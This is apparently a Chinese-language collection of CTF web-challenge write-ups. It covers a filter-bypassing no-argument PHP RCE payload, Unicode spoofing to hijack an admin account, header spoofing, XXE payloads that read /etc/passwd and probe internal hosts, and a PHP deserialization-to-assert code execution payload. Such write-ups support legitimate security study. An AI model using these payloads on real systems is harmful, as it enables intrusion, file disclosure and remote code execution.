[GXYCTF2019]禁止套娃
git源码泄露
githack扫一下
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
php伪协议的函数基本不能用
此题考点是无参数RCE
首先需要得到当前目录下的文件
scandir(’.’)或者scandir(current(localeconv()))均可以读取
再加个print_r就行了
print_r(scandir(current(localeconv())));
array_reverse()以相反的元素顺序返回数组
pos() 函数返回数组中的当前元素的值。
next() 函数将内部指针指向数组中的下一个元素,并输出
show_source() 函数对文件进行语法高亮显示。
构造payload
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
[HCTF 2018]admin
查看源码发现
说明用户名是admin
用admin注册,提示用户名已注册
Unicode欺骗
https://unicode-table.com/en/1D2E/ ,在这个网站上找字符
修改密码模块
登录模块和注册模块都用strlower()来转小写
strlower()对于特定字符能进行转化
ᴬᴰᴹᴵᴺ -> ADMIN -> admin
在注册的时候 ”ᴬᴰᴹᴵᴺ“ 经过strlower(),转成”ADMIN“ , 在修改密码的时候 ”ADMIN“经过strlower()变成”admin“ , 当我们再次退出登录的时候 ”admin“经过strlower()变成”admin“,能成功登录
注册账号ᴬᴰᴹᴵᴺ,密码123456
修改密码123
用账号admin,密码123成功登录
[MRCTF2020]PYWebsite
f12发现flag.php
访问
看到IP,猜测本地访问,添加X-Forwarded-For头
[NCTF2019]True XML cookbook
题目提示很明显XML注入
抓包后添加恶意实体,读取/etc/passwd文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123546</password></user>
读取历史操作命令.bash_history失败
看了大佬的wp,要读取/etc/hosts文件和/proc/net/arp。
/etc/hosts没发现存活主机
/proc/net/arp 有存活主机
给了一个主机IP,读取一下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE hacker[
<!ENTITY a SYSTEM "http://10.121.4.2/">
]>
<user><username>&a;</username><password>a</password></user>
访问后没有flag
用bp进行爆破
在10.121.4.11主机中找到flag
[NPUCTF2020]ReadlezPHP
查看源码看到php文件
访问后是一段代码
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
2021-01-31 05:20:35
assert这个函数在php语言中是用来判断一个表达式是否成立
assert()可以将整个字符串参数当作php参数执行。
$b($a)可以构造$b=assert,$a=phpinfo等价于assert(phpinfo())
<?php
error_reporting(1);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$test = new HelloPhp();
$test->b = 'assert';
$test->a = 'phpinfo();';
echo serialize($test);
?>
payload:?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
搜索flag直接找到